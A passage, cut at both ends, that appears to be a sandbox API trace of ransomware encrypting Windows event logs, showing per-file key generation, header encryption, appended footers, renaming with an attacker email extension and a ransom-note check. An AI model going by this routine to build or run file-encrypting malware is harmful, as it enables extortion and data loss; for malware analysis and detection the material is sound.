lpNumberOfBytesWritten=0x6c6feb8*=0x4, lpOverlapped=0x0) returned 1 [0164.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7f8) returned 1 [0164.612] CloseHandle (hObject=0x4a0) returned 1 [0164.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2f8d860 [0164.612] wcscpy (in: _Dest=0x2f8d860, _Source="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.612] wcscat (in: _Dest=0x2f8d860, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.612] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.613] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d860) returned 1 [0164.613] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.613] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.613] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.613] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ddc0) returned 1 [0164.614] RtlExitUserThread (Status=0x1) Thread: id = 1530 os_tid = 0xec4 [0164.615] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.615] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.616] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6cefef0 | out: lpFileSize=0x6cefef0*=69824) returned 1 [0164.616] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.616] ReadFile (in: hFile=0x4a0, lpBuffer=0x6cefec4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x6cefec4*, lpNumberOfBytesRead=0x6cefec0*=0x4, lpOverlapped=0x0) returned 1 [0164.617] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.617] NtQuerySystemTime (in: CurrentTime=0x6cefe9c | out: CurrentTime=0x6cefe9c*=132121213219278156) returned 0x0 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x6a74b7ce [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x5fbd76db [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x47a0a273 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x41c239db [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xfd8ee1ff [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xdf52cf0a [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x3368fe11 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xdc582453 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xf9824e62 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x7028f112 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x9a3e0991 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xfb7b00ad [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x7448cf9 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x880da22a [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x85964e87 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x3d717ed3 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xb219eb53 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xfb834559 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x919d607e [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xd2a038a6 [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x7162516e [0164.617] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x5cb3b53 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xfca27770 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xaa29dd45 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x5a0149a0 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x83301d8f [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xec36cfce [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xc9f683c9 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x41a43de7 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x6b1b9bfe [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0xc1498968 [0164.618] RtlRandom (in: Seed=0x6cefea8 | out: Seed=0x6cefea8) returned 0x68ea8d63 [0164.626] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0164.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faade0 [0164.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0164.628] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faade0) returned 1 [0164.628] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.628] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.628] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6cefe74, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6cefe74*=0x4096, lpOverlapped=0x0) returned 1 [0164.629] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0164.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0164.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.629] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.629] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0164.630] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab640 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab640) returned 1 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0164.630] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6cefe74, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6cefe74*=0x4096, lpOverlapped=0x0) returned 1 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.630] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.630] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6cefeac, lpOverlapped=0x0 | out: lpBuffer=0x2fab668*, lpNumberOfBytesWritten=0x6cefeac*=0x20, lpOverlapped=0x0) returned 1 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0164.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.630] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0x6cefec0*=0x8, lpOverlapped=0x0) returned 1 [0164.631] WriteFile (in: hFile=0x4a0, lpBuffer=0x6cefed8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x6cefed8*, lpNumberOfBytesWritten=0x6cefec0*=0x4, lpOverlapped=0x0) returned 1 [0164.631] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6cefec0*=0x4, lpOverlapped=0x0) returned 1 [0164.631] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6cefec0*=0x6c, lpOverlapped=0x0) returned 1 [0164.631] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x6cefec0*=0x20, lpOverlapped=0x0) returned 1 [0164.631] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6cefec0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6cefec0*=0x4, lpOverlapped=0x0) returned 1 [0164.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0164.631] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0164.631] CloseHandle (hObject=0x4a0) returned 1 [0164.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x2f95240 [0164.631] wcscpy (in: _Dest=0x2f95240, _Source="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.632] wcscat (in: _Dest=0x2f95240, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.632] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.632] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95240) returned 1 [0164.633] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.633] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.633] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.633] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83738) returned 1 [0164.633] RtlExitUserThread (Status=0x1) Thread: id = 1531 os_tid = 0xec8 [0164.635] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.636] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.636] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.637] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6d6fc1c | out: lpFileSize=0x6d6fc1c*=69824) returned 1 [0164.637] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.637] ReadFile (in: hFile=0x4a0, lpBuffer=0x6d6fbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x6d6fbf0*, lpNumberOfBytesRead=0x6d6fbec*=0x4, lpOverlapped=0x0) returned 1 [0164.638] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab730 [0164.638] NtQuerySystemTime (in: CurrentTime=0x6d6fbc8 | out: CurrentTime=0x6d6fbc8*=132121213219590386) returned 0x0 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xd83d1eb7 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x9dddfc3f [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x2c93bb07 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x4375632a [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x8da45bd8 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xd8f00926 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xc7cac55f [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x3da616e8 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xcf284128 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xf16edf50 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xeccc94b0 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xc7972652 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x3886de1 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xca437150 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x1cb838a0 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x66c7383 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x500631d9 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x94069d9e [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xd982de50 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x777ef60a [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x4c955e41 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xa377ac79 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xe3635b0d [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x58971385 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x57051676 [0164.638] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xc188bf2c [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xd41a81fa [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xc9f9ab9c [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x6442f96c [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0x760b9da8 [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xfd8700ff [0164.639] RtlRandom (in: Seed=0x6d6fbd4 | out: Seed=0x6d6fbd4) returned 0xcf26349f [0164.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab0b0 [0164.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab0b0) returned 1 [0164.651] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.651] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.651] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6d6fba0, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6d6fba0*=0x4096, lpOverlapped=0x0) returned 1 [0164.652] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0164.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0164.652] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab758 [0164.652] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab758) returned 1 [0164.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab910 [0164.653] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab870 [0164.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab870) returned 1 [0164.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0164.653] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0164.653] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6d6fba0, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6d6fba0*=0x4096, lpOverlapped=0x0) returned 1 [0164.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.654] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab910*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d6fbd8, lpOverlapped=0x0 | out: lpBuffer=0x2fab910*, lpNumberOfBytesWritten=0x6d6fbd8*=0x20, lpOverlapped=0x0) returned 1 [0164.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab910) returned 1 [0164.654] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x6d6fbec*=0x8, lpOverlapped=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x6d6fc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x6d6fc04*, lpNumberOfBytesWritten=0x6d6fbec*=0x4, lpOverlapped=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6d6fbec*=0x4, lpOverlapped=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6d6fbec*=0x6c, lpOverlapped=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x6d6fbec*=0x20, lpOverlapped=0x0) returned 1 [0164.654] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d6fbec, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6d6fbec*=0x4, lpOverlapped=0x0) returned 1 [0164.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.655] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, 